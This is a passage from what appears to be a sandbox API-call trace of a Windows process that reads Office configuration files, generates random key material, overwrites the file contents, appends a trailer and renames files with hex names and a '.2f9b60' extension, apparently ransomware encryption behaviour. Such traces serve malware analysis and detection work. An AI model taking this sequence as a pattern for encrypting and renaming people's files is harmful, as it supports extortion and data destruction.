(HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d7f40 [0163.458] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="70") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="be") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="71") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="0e") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="27") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="bb") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="17") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="03") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="82") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="e2") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="14") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="70") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="a3") returned 2 [0163.458] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.458] RtlInitAnsiString (in: DestinationString=0x3afef868, SourceString="70bea9710e27bbc3177c03d682e2f6d11470a3dc" | out: DestinationString="70bea9710e27bbc3177c03d682e2f6d11470a3dc") [0163.459] RtlAnsiStringToUnicodeString (in: DestinationString=0x3afef838, SourceString="70bea9710e27bbc3177c03d682e2f6d11470a3dc", AllocateDestinationString=1 | out: DestinationString="70bea9710e27bbc3177c03d682e2f6d11470a3dc") returned 0x0 [0163.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86790 [0163.459] RtlFreeAnsiString (AnsiString="7") [0163.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab940) returned 1 [0163.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8c60) returned 1 [0163.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4eb0) returned 1 [0163.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4ee0) returned 1 [0163.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4e80) returned 1 [0163.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4e50) returned 1 [0163.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac14f0) returned 1 [0163.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac15b0) returned 1 [0163.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac15e0) returned 1 [0163.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb5ed0 [0163.462] wcscat (in: _Dest=0x1cdb5ed0, _Source="70bea9710e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\70bea9710e") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\70bea9710e" [0163.462] wcscat (in: _Dest=0x1cdb5ed0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\70bea9710e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\70bea9710e.2f9b60" [0163.462] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\70bea9710e.2f9b60", NtPathName=0x3afef810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\70bea9710e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce23520 Thread: id = 2661 os_tid = 0x2200 [0157.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg")) returned 0x20 [0157.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG", dwFileAttributes=0x20) returned 1 [0157.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x107c [0157.463] GetFileSizeEx (in: hFile=0x107c, lpFileSize=0x3a59fac0 | out: lpFileSize=0x3a59fac0*=768) returned 1 [0157.463] SetFilePointerEx (in: hFile=0x107c, liDistanceToMove=0x2fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.463] ReadFile (in: hFile=0x107c, lpBuffer=0x3a59fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a59fa88, lpOverlapped=0x0 | out: lpBuffer=0x3a59fa40*, lpNumberOfBytesRead=0x3a59fa88*=0x4, lpOverlapped=0x0) returned 1 [0160.745] SetFilePointerEx (in: hFile=0x107c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1760 [0160.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1790 [0160.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a17c0 [0160.746] NtQuerySystemTime (in: CurrentTime=0x3a59f980 | out: CurrentTime=0x3a59f980*=132462177658822000) returned 0x0 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x7d0751d [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x3a72bc7f [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0xd94a894 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x4d7ef91a [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x4b9d2850 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x4ff66580 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x392fcce7 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x3ededeb0 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x60b8a5bb [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x7da75b20 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x48f4e2f2 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x4d52a082 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x7c7b6de0 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x7edfd9eb [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x5b296152 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x3f5245f2 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x18f39e48 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x1211db5b [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x2ee60db8 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x17bee0e7 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x519e9346 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x2d3ed4f2 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x1bb42acf [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x333a6eaa [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x6914f81a [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0xc3714b7 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x213a6446 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x6bc14c16 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x70c8e2b0 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x195785c3 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x36488d72 [0160.746] RtlRandomEx (in: Seed=0x3a59f970 | out: Seed=0x3a59f970) returned 0x3b67f9e6 [0160.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a26c0 [0160.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0160.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a26f0 [0160.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0160.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a17c0) returned 1 [0160.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1760) returned 1 [0160.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0160.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0160.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1760 [0160.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1760) returned 1 [0160.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b20b0 [0160.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b98d0 [0160.861] ReadFile (in: hFile=0x107c, lpBuffer=0x202b20b0, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x3a59f970, lpOverlapped=0x0 | out: lpBuffer=0x202b20b0*, lpNumberOfBytesRead=0x3a59f970*=0x300, lpOverlapped=0x0) returned 1 [0160.861] SetFilePointerEx (in: hFile=0x107c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.861] WriteFile (hFile=0x107c, lpBuffer=0x202b98d0, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x3a59f974, lpOverlapped=0x0) [0192.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18120 [0192.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182a0 [0192.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182a0) returned 1 [0192.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b98d0) returned 1 [0192.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b20b0) returned 1 [0192.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0192.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0192.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c182a0 [0192.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0192.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0192.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18330 [0192.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18330) returned 1 [0192.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c18330 [0192.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182d0 [0192.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e090 [0192.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e090) returned 1 [0192.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0192.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0192.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x431a91c0 [0192.640] SetFilePointerEx (in: hFile=0x107c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.640] WriteFile (in: hFile=0x107c, lpBuffer=0x431a91c0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3a59fa90, lpOverlapped=0x0 | out: lpBuffer=0x431a91c0*, lpNumberOfBytesWritten=0x3a59fa90*=0x102, lpOverlapped=0x0) returned 1 [0201.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda7c0 [0201.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda7c0) returned 1 [0201.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f9720 [0201.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda7c0 [0201.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda790 [0201.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda790) returned 1 [0201.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1cdda790 [0201.305] sprintf (in: _Dest=0x1cdda790, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.305] sprintf (in: _Dest=0x1cdda792, _Format="%c%c" | out: _Dest="14") returned 2 [0201.305] sprintf (in: _Dest=0x1cdda794, _Format="%c%c" | out: _Dest="31") returned 2 [0201.305] sprintf (in: _Dest=0x1cdda796, _Format="%c%c" | out: _Dest="27") returned 2 [0201.305] sprintf (in: _Dest=0x1cdda798, _Format="%c%c" | out: _Dest="60") returned 2 [0201.305] sprintf (in: _Dest=0x1cdda79a, _Format="%c%c" | out: _Dest="38") returned 2 [0201.305] sprintf (in: _Dest=0x1cdda79c, _Format="%c%c" | out: _Dest="15") returned 2 [0201.305] sprintf (in: _Dest=0x1cdda79e, _Format="%c%c" | out: _Dest="12") returned 2 [0201.306] sprintf (in: _Dest=0x1cdda7a0, _Format="%c%c" | out: _Dest="6b") returned 2 [0201.306] sprintf (in: _Dest=0x1cdda7a2, _Format="%c%c" | out: _Dest="56") returned 2 [0201.306] sprintf (in: _Dest=0x1cdda7a4, _Format="%c%c" | out: _Dest="1d") returned 2 [0201.306] sprintf (in: _Dest=0x1cdda7a6, _Format="%c%c" | out: _Dest="ae") returned 2 [0201.306] sprintf (in: _Dest=0x1cdda7a8, _Format="%c%c" | out: _Dest="ff") returned 2 [0201.306] sprintf (in: _Dest=0x1cdda7aa, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.306] sprintf (in: _Dest=0x1cdda7ac, _Format="%c%c" | out: _Dest="69") returned 2 [0201.306] sprintf (in: _Dest=0x1cdda7ae, _Format="%c%c" | out: _Dest="4e") returned 2 [0201.306] RtlInitAnsiString (in: DestinationString=0x3a59fb08, SourceString="c6143127603815126b561daefff7694e" | out: DestinationString="c6143127603815126b561daefff7694e") [0201.306] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a59fad8, SourceString="c6143127603815126b561daefff7694e", AllocateDestinationString=1 | out: DestinationString="c6143127603815126b561daefff7694e") returned 0x0 [0201.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce5c650 [0201.307] wcscat (in: _Dest=0x4318a2a0, _Source="c6143127" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\c6143127") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\c6143127" [0201.307] wcscat (in: _Dest=0x4318a2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\c6143127.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\c6143127.2f9b60" [0201.307] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\c6143127.2f9b60", NtPathName=0x3a59fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\c6143127.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4314b560 Thread: id = 2662 os_tid = 0x2204 [0157.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg")) returned 0x20 [0157.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG", dwFileAttributes=0x20) returned 1 [0157.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdf4 [0157.467] GetFileSizeEx (in: hFile=0xdf4, lpFileSize=0x2d09f6c0 | out: lpFileSize=0x2d09f6c0*=804) returned 1 [0157.467] SetFilePointerEx (in: hFile=0xdf4, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.467] ReadFile (in: hFile=0xdf4, lpBuffer=0x2d09f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d09f688, lpOverlapped=0x0 | out: lpBuffer=0x2d09f640*, lpNumberOfBytesRead=0x2d09f688*=0x4, lpOverlapped=0x0) returned 1 [0160.876] SetFilePointerEx (in: hFile=0xdf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2720 [0160.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2750 [0160.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2780 [0160.876] NtQuerySystemTime (in: CurrentTime=0x2d09f580 | out: CurrentTime=0x2d09f580*=132462177660070000) returned 0x0 [0160.876] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x2fb8378f [0160.876] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x76e4a70 [0160.876] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x2e207131 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x4eb20c40 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x695453e [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x2d6b669 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x3214590d [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x37eda4e3 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x607f58e8 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x6aed0975 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x48f4e2f2 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x1798492 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x2ef32a19 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x2a4042c2 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x42cbbbc5 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x679639ce [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x4e7e825d [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x47d79a9c [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x4b1d76d3 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x376fef39 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x114a67c6 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x63d43cc3 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x58156a85 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x4ce72c61 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x60a450e4 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x3ec6da1d [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x1dfb6717 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x593283bc [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x6c68a628 [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x639e3afd [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x4df5d36b [0160.877] RtlRandomEx (in: Seed=0x2d09f570 | out: Seed=0x2d09f570) returned 0x1ac91ec8 [0160.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a27b0 [0160.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0160.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a27e0 [0160.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0160.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2780) returned 1 [0160.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2720) returned 1 [0160.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0160.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0160.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2720 [0160.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2720) returned 1 [0160.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422479e0 [0160.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4224b5f0 [0160.886] ReadFile (in: hFile=0xdf4, lpBuffer=0x422479e0, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x2d09f570, lpOverlapped=0x0 | out: lpBuffer=0x422479e0*, lpNumberOfBytesRead=0x2d09f570*=0x324, lpOverlapped=0x0) returned 1 [0160.886] SetFilePointerEx (in: hFile=0xdf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.886] WriteFile (hFile=0xdf4, lpBuffer=0x4224b5f0, nNumberOfBytesToWrite=0x324, lpNumberOfBytesWritten=0x2d09f574, lpOverlapped=0x0) [0187.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b60 [0187.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c20 [0187.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c20) returned 1 [0187.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4224b5f0) returned 1 [0187.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422479e0) returned 1 [0187.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0187.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0187.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac0c20 [0187.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0187.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0187.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bc0 [0187.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0bc0) returned 1 [0187.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac0bc0 [0187.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ad0 [0187.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b90 [0187.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b90) returned 1 [0187.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0187.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0187.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43128d80 [0187.920] SetFilePointerEx (in: hFile=0xdf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 